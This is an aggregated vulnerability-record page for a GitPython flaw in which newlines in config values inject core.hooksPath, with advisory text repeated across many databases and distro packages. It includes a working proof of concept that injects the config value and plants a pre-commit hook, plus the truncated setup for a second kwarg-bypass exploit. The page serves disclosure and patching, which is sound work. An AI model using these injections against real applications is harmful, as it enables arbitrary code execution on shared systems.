CVE-2026-44244
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.8
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
- Record
CVE-2026-44244- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-28414
7.8
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
- Record
EUVD-2026-28414- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v87r-6q3f-2j67
7.8
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
PoC (standalone, no MLRun required):
import git, subprocess, os
repo = git.Repo("/tmp/testrepo")
with repo.config_writer() as cw:
cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")
r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip()) # /tmp/hooks
os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)
repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read()) # uid=...
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.
Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:
import re
if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
raise ValueError("Git config values must not contain CR, LF, or NUL")
Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.
- Record
GHSA-v87r-6q3f-2j67- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
7.8
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
- Record
CVE-2026-44244- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
7.8
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
- Record
CVE-2026-44244- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-44244
7.8
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
- Record
DEBIAN-CVE-2026-44244- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 16 moreShow less
OSVGHSA-v87r-6q3f-2j67
7.8
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
PoC (standalone, no MLRun required):
import git, subprocess, os
repo = git.Repo("/tmp/testrepo")
with repo.config_writer() as cw:
cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")
r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip()) # /tmp/hooks
os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)
repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read()) # uid=...
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.
Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:
import re
if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
raise ValueError("Git config values must not contain CR, LF, or NUL")
Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.
- Record
GHSA-v87r-6q3f-2j67- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVOESA-2026-2306
8.8
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for…
- Record
OESA-2026-2306- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2026-2307
8.8
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for…
- Record
OESA-2026-2307- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2026-2308
8.8
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for…
- Record
OESA-2026-2308- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-2163
7.8
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
- Record
PYSEC-2026-2163- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:42078
9.0
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:42078- CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:42079
9.0
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:42079- CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:63385
8.8
Red Hat Security Advisory: Satellite 6.19.4 Async Update
- Record
RHSA-2026:63385- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-44244
7.8
CVE-2026-44244 in GitPython - Patched by Root
Root has patched CVE-2026-44244 in the GitPython package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-44244- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-44244
7.8
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
- Record
UBUNTU-CVE-2026-44244- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1784077474 No score
TuxCare security update for gitpython (1 CVE)
TuxCare rebuilt gitpython to address 1 CVE. Fixed in 3.1.31.post2+tuxcare.
- Record
CLSA-2026-1784077474- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10758-1 No score
python311-GitPython-3.1.49-1.1 on GA media
These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10758-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20777-1 No score
Security update for python-GitPython
This update for python-GitPython fixes the following issues
- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
- Record
openSUSE-SU-2026:20777-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:21813-1 No score
Security update for python-GitPython
This update for python-GitPython fixes the following issues
- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
- Record
SUSE-SU-2026:21813-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:4072-1 No score
Security update for python-GitPython
This update for python-GitPython fixes the following issues:
- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
- CVE-2026-73619: incomplete denylist in the
unsafe_git_archive_optionsguard that omits--add-fileand--add- virtual-fileoptions can lead to arbitrary file reads (bsc#1275755). - CVE-2026-73620: failure to guard git option forwarding in
IndexFile.checkout()andTagReference.create()can lead to arbitrary file reads and writes (bsc#1275756). - CVE-2026-73621: argument injection in the
Commit.count()method allows for destruction/blanking of arbitrary files (bsc#1275757). - CVE-2026-73622: failure to disable environment variable expansion in
Remote.create()andSubmodule.add()URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751). - CVE-2026-73623: incomplete denylist in
unsafe_git_clone_optionsthat omits--templateallows for arbitrary command execution (bsc#1275752). - CVE-2026-73624:
Diffable.diffmethod fails to validate git options passed throughkwargs, which can lead to arbitrary file writes (bsc#1275753). - CVE-2026-73625:
check_unsafe_optionsguard bypass via smuggling of git options inside single-characterkwargvalues can lead to arbitrary code execution (bsc#1275754). - CVE-2026-76217: failure to validate options passed to
git rmandgit checkoutcommands inIndexFile.remove()andHead.checkout()can lead to arbitrary file reads (bsc#1275745). - CVE-2026-76218: unguarded git option forwarding in
Repo.initallows for arbitrary command execution (bsc#1275746). - CVE-2026-76219: unguarded
git read-treeoption forwarding inIndexFile.from_tree/reset/merge_treecan lead to arbitrary file overwrites (bsc#1275747). - CVE-2026-76220:
check_unsafe_optionsguard can be bypassed by combining a single-characterkwargwithsplit_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748). - CVE-2026-76221:
config-nameinjection in theoption-namevalidator can lead to remote code execution (bsc#1275749). - CVE-2026-76222: failure to validate submodule names from
.gitmodulesfiles allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750). - CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…
- Record
SUSE-SU-2026:4072-1- Updated
- 2026-11-02
OSVUSN-8303-1 No score
python-git vulnerabilities
Santos Gallegos discovered that GitPython did not properly validate paths when resolving certain Git references. An attacker could possibly use this issue to cause files outside the .git directory to be accessed, leading to a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS. (CVE-2023-41040)
Wes Ring discovered that GitPython did not properly block certain unsafe Git options when they were provided as Python keyword arguments. An attacker could possibly use this issue to cause arbitrary command execution. (CVE-2026-42215)
It was discovered that GitPython did not properly validate clone options before processing them. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42284)
It was discovered that GitPython did not properly validate reference paths during reference operations. An attacker could possibly use this issue to write, overwrite, move, or delete files outside the repository. (CVE-2026-44243)
Dan Aridor discovered that GitPython did not properly validate configuration values before writing them to Git configuration files. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. (CVE-2026-44244)
- Record
USN-8303-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
gitpythonPyPI |
through 3.1.48 | 3.1.49 |
gitpythonTuxCare:PyPI |
3.1.31 up to 3.1.31.post2+tuxcare, plus listed versions 3.1.31.post1+tuxcare |
3.1.31.post2+tuxcare |
python-gitDebian:12 |
before 3.1.30-1+deb12u3, plus listed versions 3.1.30-13.1.30-1+deb12u2 |
3.1.30-1+deb12u3 |
python-gitDebian:13 |
before 3.1.44-1+deb13u1, plus listed versions 3.1.44-1 |
3.1.44-1+deb13u1 |
python-gitDebian:14 |
before 3.1.50-1, plus listed versions 3.1.44-13.1.45-13.1.46-1 |
3.1.50-1 |
gitpythonPyPI |
before 3.1.49, plus listed versions 0.1.70.2.0-beta10.3.0-beta10.3.0-beta20.3.1-beta2 Show 45 moreShow less0.3.20.3.2.10.3.2.RC10.3.30.3.40.3.50.3.60.3.71.0.01.0.11.0.22.0.02.0.12.0.22.0.32.0.42.0.52.0.62.0.72.0.82.0.92.0.9.dev02.0.9.dev12.1.02.1.12.1.102.1.112.1.122.1.132.1.142.1.152.1.22.1.32.1.42.1.52.1.62.1.72.1.82.1.93.0.03.0.13.0.23.0.33.0.43.0.5 |
3.1.49 |
python-GitPythonopenEuler:24.03-LTS From an advisory covering 3 CVEs |
before 3.1.49-1.oe2403 | 3.1.49-1.oe2403 |
python-GitPythonopenEuler:24.03-LTS-SP1 From an advisory covering 3 CVEs |
before 3.1.49-1.oe2403sp1 | 3.1.49-1.oe2403sp1 |
python-GitPythonopenEuler:24.03-LTS-SP3 From an advisory covering 3 CVEs |
before 3.1.49-1.oe2403sp3 | 3.1.49-1.oe2403sp3 |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el8ap | 0:2.5.20260715-1.el8ap |
Show 143 moreShow less
| Package | Affected | Fixed |
|---|---|---|
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el9ap | 0:2.5.20260715-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
ansible-coreRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el8ap | 1:2.16.19-1.el8ap |
ansible-coreRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el8ap | 1:2.16.19-1.el8ap |
ansible-coreRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el8ap | 1:2.16.19-1.el8ap |
ansible-coreRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
ansible-coreRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
